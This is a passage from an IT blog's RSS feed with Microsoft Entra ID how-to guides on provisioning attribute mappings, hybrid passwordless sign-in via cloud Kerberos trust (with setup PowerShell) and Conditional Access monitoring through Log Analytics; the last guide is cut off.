<li>After saving a new section appears called <strong>'Mappings'</strong>, where we can configure the attributes that are sent from your source to Microsoft Entra ID.</li>
<li>Now open the <strong>'Mappings'</strong> section and click on the <strong>Mapping Configuration</strong>.<br>
(Provision API urn:ietf:params:scim:schemas:extension:enterprise:2.0:Users)</li>
</ol>
<img src="\entra_api_prov\mapping_1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="8">
<li>In the top section of the <strong>'Attribute Mapping'</strong> you find the following options:
<ul>
<li>Enabling button</li>
<li>Source Object Scope</li>
<li>Target Object Actions</li>
</ul>
</li>
</ol>
<details class="details custom-block"><summary>Details</summary>
<ul>
<li><strong>Enabling button:</strong><br> Enables the Attribute Mapping.</li>
<li><strong>Source Object Scope:</strong><br> In the source object scope, you can filter which inbound Data is in scope for provisioning.</li>
<li><strong>Target Object Actions:</strong><br> Here you can select which actions are allowed to be performed by this provisioning App.
<ul>
<li>Create</li>
<li>Update</li>
<li>Delete</li>
</ul>
</li>
</ul>
</details>
<ol start="9">
<li>The bottom section is where the mapping is done. Here you can find the Microsoft standards for user provisioning. You can edit these and add new custom mappings.</li>
</ol>
<img src="\entra_api_prov\mapping_2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="10">
<li>To add a new mapping, click on the <strong>'Add New Mapping'</strong> button in the bottom.</li>
</ol>
<img src="\entra_api_prov\edit_mapping.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<details class="details custom-block"><summary>Details</summary>
<ul>
<li>
<p><strong>Mapping Types:</strong><br></p>
<ul>
<li><strong>Direct</strong>: The target attribute is populated with the attribute value of the linked object in the source system.</li>
<li><strong>Constant</strong>: The target attribute is populated with a specific constant string.</li>
<li><strong>Expression</strong>: The target attribute is populated based on the result of a script-like expression (see Information about the 'expression builder' below).</li>
<li><strong>None</strong>: The target attribute is left unmodified (if empty, its populates with the default value).</li>
</ul>
</li>
<li>
<p><strong>Source attribute:</strong><br>
The user attribute from the source system (HR-System).</p>
</li>
<li>
<p><strong>Default value if null (optional):</strong><br>
The value that is passed to the target system if the source attribute is null.</p>
</li>
<li>
<p><strong>Target attribute:</strong><br>
The user attribute in the target system (Entra ID).</p>
</li>
<li>
<p><strong>Match objects using this attribute:</strong><br>
Whether this mapping should be used to uniquely identify users between the source and target systems.</p>
</li>
<li>
<p><strong>Matching precedence:</strong><br>
Matching precedence define in which order source objects are matched with target objects.
The system will try to find the object in the target using the rule with priority 1, if not found it will use the rule with priority 2, and so on.
As soon as a match is found, no further matching attributes are evaluated.
While you can set as many matching attributes as you would like, consider whether the attributes you're using as matching attributes are truly unique and need to be matching attributes.</p>
</li>
<li>
<p><strong>Apply the mapping:</strong><br></p>
<ul>
<li><strong>Always</strong>: Apply this mapping on both user creation and updates.</li>
<li><strong>Only if attribute contains multiple values</strong>: Apply this mapping only if the attribute contains multiple values.</li>
<li><strong>Only during object creation</strong>: Apply this mapping only on user creation.</li>
</ul>
</li>
</ul>
</details>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p></p>
<h4 id="attribute-matching" tabindex="-1">Attribute Matching <a class="header-anchor" href="#attribute-matching" aria-label="Permalink to &quot;Attribute Matching&quot;">&ZeroWidthSpace;</a></h4>
<ul>
<li><strong>Matching attributes should be unique</strong>: Attributes such as userPrincipalName, mail, or object ID are good fits as matching attributes.</li>
<li><strong>Multiple attributes can be used as matching attributes</strong>:
Defining multiple attributes to be evaluated when matching users, and the order in which they're evaluated, can be advantageous if you're using a matching attribute that could be empty, such as an email address.</li>
<li><strong>The value in the source and the target don't have to match exactly</strong>: The value in the target can be a function of the value in the source.
So, one could have an emailAddress attribute in the source and the userPrincipalName in the target for example (Or use the expression builder like in the example below).</li>
<li><strong>Matching based on a combination of attributes isn't supported</strong>: Most applications don't support querying based on two properties, therefore this solution doesn't either.</li>
<li><strong>All users must have a value for at least one matching attribute</strong>: If you only define one matching attribute, this attribute can never be empty in the source system.</li>
</ul>
</div>
<ol start="11">
<li>
<p>In Addition you got the checkbox <strong>'Show advanced options'</strong> at the bottom. When you check this, you get the additional options to:</p>
<ul>
<li><strong>edit attribute list for API</strong>: With this you can edit your list of attributes that appear in the source and target attribute lists.</li>
<li><strong>use the expression builder</strong>: With this you can create script-like attributes, that transform attributes from the source with a 'mini script expression'.</li>
</ul>
<details class="details custom-block"><summary>Details</summary>
<p><strong>Expression</strong>: <code>Append([userPrincipalName], &quot;.test&quot;)</code><br>
<strong>INPUT</strong>: (userPrincipalName): &quot;<a href="mailto:John.Doe@contoso.com" target="_blank" rel="noreferrer">John.Doe@contoso.com</a>&quot;<br>
<strong>OUTPUT</strong>: &quot;John.Doe@contoso.com.test&quot;</p>
</details>
<ul>
<li><strong>review your schema</strong>: With this you can review, download, and edit your schema in JSON format.</li>
</ul>
</li>
<li>
<p>Don`t forget to <strong>save</strong> when you are done with the Attribute Mapping.</p>
</li>
<li>
<p>In the Provisioning Screen right below the Mappings, you can find additional settings where you can configure:</p>
<ul>
<li>Email notification when a failure occurs</li>
<li>Accidental deletion threshold</li>
</ul>
</li>
</ol>
<img src="\entra_api_prov\enterprice_app_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="14">
<li>
<p>Now, please ensure that the <strong>Provisioning Status</strong> is set to <strong>'On'</strong> at the bottom of the page and then click <strong>'Save'</strong>.</p>
</li>
<li>
<p>And finally you can go back to the <strong>'Overview'</strong> in the Provisioning screen and click <strong>'Start Provisioning'</strong>. This starts the provisioning engine and the API endpoint waits to be called by your source.</p>
</li>
</ol>
<h2 id="conclusion" tabindex="-1">💡 Conclusion <a class="header-anchor" href="#conclusion" aria-label="Permalink to &quot;:bulb: Conclusion&quot;">&ZeroWidthSpace;</a></h2>
<p>Great job! You have successfully prepared a source system to send new users to your Entra environment and created an API endpoint that is ready to receive and process these requests.</p>
<p>Before you go all in, it's a good idea to start with a few test users. This way, you can make sure everything is working smoothly and catch any issues early. Keep an eye on the logs and notifications to spot any problems.</p>
<p>Remember, a successful provisioning system needs regular monitoring and tweaking.</p>
<p>With API-driven provisioning, you can simplify user management, cut down on manual work, and keep your data consistent across all your apps. This not only makes things more efficient but also improves the user experience.</p>
<p>Happy provisioning!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Passwordless authentication in a hybrid environment | Entra ID]]></title>
            <link>https://michaelsendpoint.com/entra/hybrid_passwordless.html</link>
            <guid>https://michaelsendpoint.com/entra/hybrid_passwordless.html</guid>
            <pubDate>Tue, 22 Apr 2025 18:29:58 GMT</pubDate>
            <description><![CDATA[Learn how to set up passwordless authentication in a hybrid environment using Microsoft Entra ID and cloud Kerberos trust.]]></description>
            <content:encoded><![CDATA[<h1 id="passwordless-authentication-in-a-hybrid-environment" tabindex="-1">Passwordless authentication in a hybrid environment <a class="header-anchor" href="#passwordless-authentication-in-a-hybrid-environment" aria-label="Permalink to &quot;Passwordless authentication in a hybrid environment&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>In an era of accelerating digital transformation, traditional password-based authentication is increasingly becoming a pain point for both security and user experience.
As organizations transition there environments to the cloud, but still need to incorporate on-premises resources, hybrid environments are becoming the norm.<br>
By blending on-premises infrastructure with cloud-based solutions, the need for a more secure and seamless authentication method is paramount.
Passwordless authentication emerges as a game-changer, offering a phishing resistent solution that enhances not only security but also simplifying authentication for users.<br>
This article delves into setting up passwordless authentication in hybrid environments.</p>
<h2 id="prerequisites" tabindex="-1">✅ Prerequisites <a class="header-anchor" href="#prerequisites" aria-label="Permalink to &quot;:white_check_mark: Prerequisites&quot;">&ZeroWidthSpace;</a></h2>
<ul>
<li>Your Windows Server domain controllers must run Windows Server 2016 or later</li>
<li>Devices must be running Windows 10 version 2004 or later.</li>
<li>Devices must be joined or hybrid joined to Microsoft Entra ID</li>
<li>Users must have the following Microsoft Entra attributes populated through Microsoft Entra Connect or cloud sync:
<ul>
<li><strong>onPremisesSamAccountName</strong> (accountName in Microsoft Entra Connect)</li>
<li><strong>onPremisesDomainName</strong> (domainFQDN in Microsoft Entra Connect)</li>
<li><strong>onPremisesSecurityIdentifier</strong> (objectSID in Microsoft Entra Connect)</li>
</ul>
</li>
<li>Devices need to reach the following endpoints to reach Entra ID:
<ul>
<li>*.microsoftonline.com</li>
<li>*.microsoftonline-p.com</li>
<li>*.msauth.net</li>
<li>*.msauthimages.net</li>
<li>*.msecnd.net</li>
<li>*.msftauth.net</li>
<li>*.msftauthimages.net</li>
<li>*.phonefactor.net</li>
<li>enterpriseregistration.windows.net</li>
<li>management.azure.com</li>
<li>policykeyservice.dc.ad.msft.net</li>
<li>secure.aadcdn.microsoftonline-p.com</li>
</ul>
</li>
</ul>
<h2 id="unsupported-scenarios" tabindex="-1">⛔ Unsupported scenarios <a class="header-anchor" href="#unsupported-scenarios" aria-label="Permalink to &quot;:no_entry: Unsupported scenarios&quot;">&ZeroWidthSpace;</a></h2>
<p>The following scenarios aren't supported:</p>
<ul>
<li>Active Directory joined (AD DS) devices (on-premises only devices).</li>
<li>Remote Desktop Protocol (RDP), virtual desktop infrastructure (VDI), and Citrix scenarios by using a security key.</li>
<li>S/MIME by using a security key.</li>
<li>'Run as' by using a security key.</li>
<li>Log in to a server by using a security key.</li>
</ul>
<h2 id="how-it-works" tabindex="-1">🧑‍🔧 How it works <a class="header-anchor" href="#how-it-works" aria-label="Permalink to &quot;:mechanic: How it works&quot;">&ZeroWidthSpace;</a></h2>
<p>To create a cloud Kerberos trust, you need to use a PowerShell script in Active Directory (AD).
This process involves setting up Entra ID as a read-only domain controller (RODC) in AD.
Once this is done, Entra ID will have a Ticket Granting Ticket (TGT) for Kerberos authentication.
This means that when someone logs in using Windows Hello for Business, they can authenticate against the cloud and receive a Kerberos ticket, allowing AD to authenticate them as well.</p>
<img src="\entra_hybrid_passwordless\cloud_trust.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<p>&nbsp;</p>
<h3 id="microsoft-entra-join-authentication-to-active-directory-using-cloud-kerberos-trust" tabindex="-1">Microsoft Entra join authentication to Active Directory using cloud Kerberos trust <a class="header-anchor" href="#microsoft-entra-join-authentication-to-active-directory-using-cloud-kerberos-trust" aria-label="Permalink to &quot;Microsoft Entra join authentication to Active Directory using cloud Kerberos trust&quot;">&ZeroWidthSpace;</a></h3>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>In this example the devices are Microsoft Entra joined.</p>
</div>
<ul>
<li>Phase 1:	Authentication to Active Directory from a Microsoft Entra joined device begins with the user first attempts to use a resource that needs Kerberos authentication.<br>
The Kerberos security support provider, hosted in LSASS (Local Security Authority Subsystem Service), uses metadata from the Windows Hello for Business key to get a hint of the user's domain. Using the hint, the provider uses the DClocator service to locate a domain controller.</li>
<li>Phase 2:	After locating a domain controller, the Kerberos provider sends a partial TGT (Ticket Granting Ticket) that it received from Microsoft Entra ID from a previous Microsoft Entra authentication to the domain controller. The partial TGT contains only the user SID, and it's signed by Microsoft Entra Kerberos.<br>
The domain controller verifies that the partial TGT is valid. On success, the KDC (Kerberos Key Distribution Center) returns a TGT to the client.</li>
</ul>
<img src="\entra_hybrid_passwordless\authentication_ad.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>&nbsp;</p>
<h3 id="how-it-looks-from-the-enduser-side-to-use-sso-to-sign-in-to-on-premises-resources" tabindex="-1">How it looks from the enduser side to use SSO to sign in to on-premises resources <a class="header-anchor" href="#how-it-looks-from-the-enduser-side-to-use-sso-to-sign-in-to-on-premises-resources" aria-label="Permalink to &quot;How it looks from the enduser side to use SSO to sign in to on-premises resources&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>A user signs in to a Windows 10 device with passwordless authentication to Microsoft Entra ID.</li>
<li>Microsoft Entra ID checks the directory for a Kerberos Server key that matches the user's on-premises Active Directory domain.<br>
Microsoft Entra ID generates a Kerberos TGT for the user's on-premises Active Directory domain.</li>
<li>The TGT is returned to the client along with the user's Microsoft Entra Primary Refresh Token (PRT).</li>
<li>The client machine contacts an on-premises Active Directory Domain Controller and trades the partial TGT for a fully formed TGT.</li>
<li>The client machine now has a Microsoft Entra PRT and a full Active Directory TGT and can access both cloud and on-premises resources.</li>
</ol>
<img src="\entra_hybrid_passwordless\sso.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<h2 id="execution" tabindex="-1">▶️ Execution <a class="header-anchor" href="#execution" aria-label="Permalink to &quot;:arrow_forward: Execution&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="configure-the-domain-controllers" tabindex="-1">Configure the domain controllers <a class="header-anchor" href="#configure-the-domain-controllers" aria-label="Permalink to &quot;Configure the domain controllers&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>
<p>First we need a device from which you can access the domain controller.</p>
</li>
<li>
<p>From there we need to make sure that the Network security Encryption Type <strong>'AES256_HMAC_SHA1'</strong> is enabled on your domain controllers.<br>
If you want to know more about the different encryption types, you can find out more <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/network-security-configure-encryption-types-allowed-for-kerberos" target="_blank" rel="noreferrer">here</a>.</p>
</li>
<li>
<p>Make a new Group Policy Object (GPO) and link it to your domain controllers.</p>
<ul>
<li>Policy: <code>Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options\Network security</code></li>
<li>Value: <code>Configure encryption types allowed for Kerberos = AES256_HMAC_SHA1</code></li>
</ul>
</li>
<li>
<p>Next we need to set up the Microsoft Entra Kerberos object</p>
</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Ensure TLS 1.2 for PowerShell gallery access.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">[</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Net.ServicePointManager</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::SecurityProtocol </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Net.ServicePointManager</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::SecurityProtocol </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-bor</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> [</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">Net.SecurityProtocolType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]::Tls12</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Install the AzureADHybridAuthenticationManagement PowerShell module.</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Install-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name AzureADHybridAuthenticationManagement </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AllowClobber</span></span></code></pre>
</div><ol start="5">
<li>Now we need to promt for all needed credentials using modern authentication and create the Entra ID Kerberos Server Object in the Active Directory domain.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Specify the on-premises Active Directory domain. A new Microsoft Entra ID</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Kerberos Server object will be created in this Active Directory domain.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$domain </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">env:</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">USERDNSDOMAIN</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Enter a UPN of a Hybrid Identity Administrator</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$userPrincipalName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "administrator@yourdoamin.com"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Enter a Domain Administrator username and password.</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$domainCred </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-Credential</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Create the new Microsoft Entra ID Kerberos Server object in Active Directory</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># and then publish it to Azure Active Directory.</span></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Open an interactive sign-in prompt with given username to access the Microsoft Entra ID.</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-AzureADKerberosServer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Domain $domain </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserPrincipalName $userPrincipalName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DomainCredential $domainCred</span></span></code></pre>
</div><ol start="6">
<li>Next we can view and verify the Microsoft Entra ID Kerberos Server Object.</li>
</ol>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># When prompted to provide domain credentials use the userprincipalname format for the username instead of domain\username</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-AzureADKerberosServer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Domain $domain </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UserPrincipalName $userPrincipalName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DomainCredential (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">get-credential</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span></code></pre>
</div><img src="\entra_hybrid_passwordless\ad_object.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\entra_hybrid_passwordless\ad_object2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/>
<details class="details custom-block"><summary>Details</summary>
<p><strong>Rotating the Microsoft Entra Kerberos server key</strong></p>
<p>The Microsoft Entra Kerberos server encryption 'krbtgt' keys should be rotated on a regular basis. It is recommended that you follow the same schedule you use to rotate all other Active Directory DC 'krbtgt' keys.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-AzureADKerberosServer</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Domain $domain </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">CloudCredential $cloudCred </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DomainCredential $domainCred </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">RotateServerKey</span></span></code></pre>
</div></details>
<h3 id="configure-passwordless-authentication-windows-hello-for-business" tabindex="-1">Configure passwordless authentication (Windows Hello for Business) <a class="header-anchor" href="#configure-passwordless-authentication-windows-hello-for-business" aria-label="Permalink to &quot;Configure passwordless authentication (Windows Hello for Business)&quot;">&ZeroWidthSpace;</a></h3>
<h4 id="using-microsoft-intune" tabindex="-1">Using Microsoft Intune <a class="header-anchor" href="#using-microsoft-intune" aria-label="Permalink to &quot;Using Microsoft Intune&quot;">&ZeroWidthSpace;</a></h4>
<ol>
<li>Open the <a href="https://intune.microsoft.com" target="_blank" rel="noreferrer">Intune admin center</a> and select Devices -&gt; Configuration -&gt; Create.
<ul>
<li>Platform: Windows 10 and later</li>
<li>Configuration profile type: Settings catalog</li>
</ul>
</li>
<li>Name and describe the policy and click 'Next'</li>
<li>Add the following settings:
<table>
<thead>
<tr>
<th style="text-align:left">Category</th>
<th style="text-align:left">Setting name</th>
<th style="text-align:center">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Windows Hello for Business</td>
<td style="text-align:left">Use Windows Hello For Business</td>
<td style="text-align:center">true</td>
</tr>
<tr>
<td style="text-align:left">Windows Hello for Business</td>
<td style="text-align:left">Use Cloud Trust For On Prem Auth</td>
<td style="text-align:center">Enabled</td>
</tr>
<tr>
<td style="text-align:left">Windows Hello for Business</td>
<td style="text-align:left">Require Security Device</td>
<td style="text-align:center">true</td>
</tr>
</tbody>
</table>
</li>
<li>Click 'Next', 'Next', select your assignd groups (Users or Devices are fine), click 'Next' again and 'Create'.</li>
</ol>
<img src="\entra_hybrid_passwordless\policy.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h4 id="using-group-policy" tabindex="-1">Using Group Policy <a class="header-anchor" href="#using-group-policy" aria-label="Permalink to &quot;Using Group Policy&quot;">&ZeroWidthSpace;</a></h4>
<ol>
<li>Open the Goup  Policy Management console on your Domain Controller and create a new GPO.</li>
<li>Add the following settings:
<table>
<thead>
<tr>
<th style="text-align:left">Group policy path</th>
<th style="text-align:left">Group policy setting</th>
<th style="text-align:center">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Computer Configuration\Administrative Templates\Windows Components\Windows Hello for Business</td>
<td style="text-align:left">Use Windows Hello For Business</td>
<td style="text-align:center">Enabled</td>
</tr>
<tr>
<td style="text-align:left">Computer Configuration\Administrative Templates\Windows Components\Windows Hello for Business</td>
<td style="text-align:left">Use cloud Kerberos trust for on-premises authentication</td>
<td style="text-align:center">Enabled</td>
</tr>
<tr>
<td style="text-align:left">Computer Configuration\Administrative Templates\Windows Components\Windows Hello for Business</td>
<td style="text-align:left">Use a hardware security device</td>
<td style="text-align:center">Enabled</td>
</tr>
</tbody>
</table>
</li>
</ol>
<img src="\entra_hybrid_passwordless\gpo.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>Now link the GPO to your domain or organizational unit.</li>
</ol>
<h3 id="user-experience" tabindex="-1">🧑‍💻 User Experience <a class="header-anchor" href="#user-experience" aria-label="Permalink to &quot;:technologist: User Experience&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Now the user can start the process by signing in to Windows.</li>
<li>There he will be prompted to configure Windows Hello for Business.</li>
<li>And after that, the user now can access local domain recources with passworddless authentication.</li>
</ol>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monitoring Conditional Access | Entra ID]]></title>
            <link>https://michaelsendpoint.com/entra/monitor_report_only_ca.html</link>
            <guid>https://michaelsendpoint.com/entra/monitor_report_only_ca.html</guid>
            <pubDate>Tue, 22 Apr 2025 18:29:58 GMT</pubDate>
            <description><![CDATA[Learn how to monitor and report on Conditional Access policies in Entra ID using Log Analytics Workspace.]]></description>
            <content:encoded><![CDATA[<h1 id="insights-and-reporting-of-conditional-access-policies" tabindex="-1">Insights and reporting of Conditional Access policies <a class="header-anchor" href="#insights-and-reporting-of-conditional-access-policies" aria-label="Permalink to &quot;Insights and reporting of Conditional Access policies&quot;">&ZeroWidthSpace;</a></h1>
<h2 id="introduction" tabindex="-1">👋 Introduction <a class="header-anchor" href="#introduction" aria-label="Permalink to &quot;:wave: Introduction&quot;">&ZeroWidthSpace;</a></h2>
<p>Conditional Access policies play a key role in keeping your organization's resources secure in Entra ID.
Keeping an eye on these policies helps ensure they're doing their job and gives you valuable insights into their effectiveness.<br>
In this guide, I'll show you how to set up the reports with Log Analytics Workspace and diagnostic settings to monitor and report on these policies.</p>
<h2 id="_1-create-a-log-analytics-workspace" tabindex="-1">1. 📑 Create a Log Analytics Workspace <a class="header-anchor" href="#_1-create-a-log-analytics-workspace" aria-label="Permalink to &quot;1. :bookmark_tabs: Create a Log Analytics Workspace&quot;">&ZeroWidthSpace;</a></h2>
<ol>
1. Open the <strong>Azure Portal</strong> and select <a href="https://azloganalytics.cmd.ms"><span style="color:crimson"><strong>Log Analytics</strong></span></a>.<br>
2. Click <strong>'Create'</strong>, enter your Name, Resource Group, Region and click <strong>'Review + Create'</strong>.
</ol>
<img src="\entra_ca_insights\loganalytics_create.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<h2 id="_2-create-diagnostics-settings" tabindex="-1">2. 📈 Create Diagnostics Settings <a class="header-anchor" href="#_2-create-diagnostics-settings" aria-label="Permalink to &quot;2. :chart_with_upwards_trend: Create Diagnostics Settings&quot;">&ZeroWidthSpace;</a></h2>
<ol>
1. Open the <strong>Entra Admin Center</strong> -> <strong>Monitoring & health</strong> and open <a href="https://entra.microsoft.com/#view/Microsoft_AAD_IAM/DiagnosticSettingsMenuBlade/~/General"><span style="color:crimson"><strong>Diagnostic settings</strong></span></a>.<br>
2. Click <strong>'Add diagnostic setting'</strong>, enter your settings name and select the following Categories:<br>
<ul>
  <ul>
    <li>AuditLogs</li>
    <li>SignInLogs</li>
    <li>NonInteractiveUserSignInLogs</li>
    <li>ServicePrincipalSignInLogs</li>
    <li>ManagedIdentitySignInLogs</li>
  </ul>
</ul>
3. Now click <strong>'Send to Log Analytics workspace'</strong>, select your subscription and the <strong>'Log Analytics workspace'</strong> you created.<br>
4. And finally select <strong>'Save'</strong>
</ol>
<img src="\entra_ca_insights\diagnostics_create.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<div class="note custom-block github-alert"><p class="custom-block-title">NOTE</p>
<p>Beware that you can only add 5 diagnostics settings in your tenant.</p>
</div>
<h2 id="_3-insights-and-reporting" tabindex="-1">3. 📒 Insights and reporting <a class="header-anchor" href="#_3-insights-and-reporting" aria-label="Permalink to &quot;3. :ledger: Insights and reporting&quot;">&ZeroWidthSpace;</a></h2>
<div class="important custom-block github-alert"><p class="custom-block-title">IMPORTANT</p>
<p>It can take some time until the information will show in the reports and until you get meaningful insights from it.</p>
</div>
<ol>
1. Open the <strong>Entra admin center</strong> -> <strong>Protection</strong> -> <strong>Conditional Access</strong> and select <a href="https://entra.microsoft.com/#view/Microsoft_AAD_ConditionalAccess/ConditionalAccessBlade/~/InsightsAndReporting/menuId//fromNav/"><span style="color:crimson"><strong>Insights and reporting</strong></span></a>.<br>
2. Here you can find the information about your Conditional Access policies.<br>
<p>You can organize and sort the entire data based on the following sign-ins:</p>
  <ul>  
    <ul>
      <li>User sign-ins</li>
      <li>Service principal sign-ins</li>
    </ul>
  </ul>
<p>You can also filter the whole dataset using the following criteria:</p>
  <ul>
    <ul>
      <li>Conditional Access policies</li>
      <li>Time Range (<strong>Last 30 Minutes</strong> to <strong>Last 90 days</strong> or use a <strong>custom</strong> range)</li>
      <li>Users</li>
      <li>Apps</li>
      <li>Data views</li>
      <ul>
        <li>users</li>
        <li>sign-ins</li>
      </ul>  
    </ul>
  </ul>
</ol>
<img src="\entra_ca_insights\ca_insights_1.png" style="float: normal; margin-right: 1em; margin-left: 2em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<p>&nbsp;</p>
<ol>
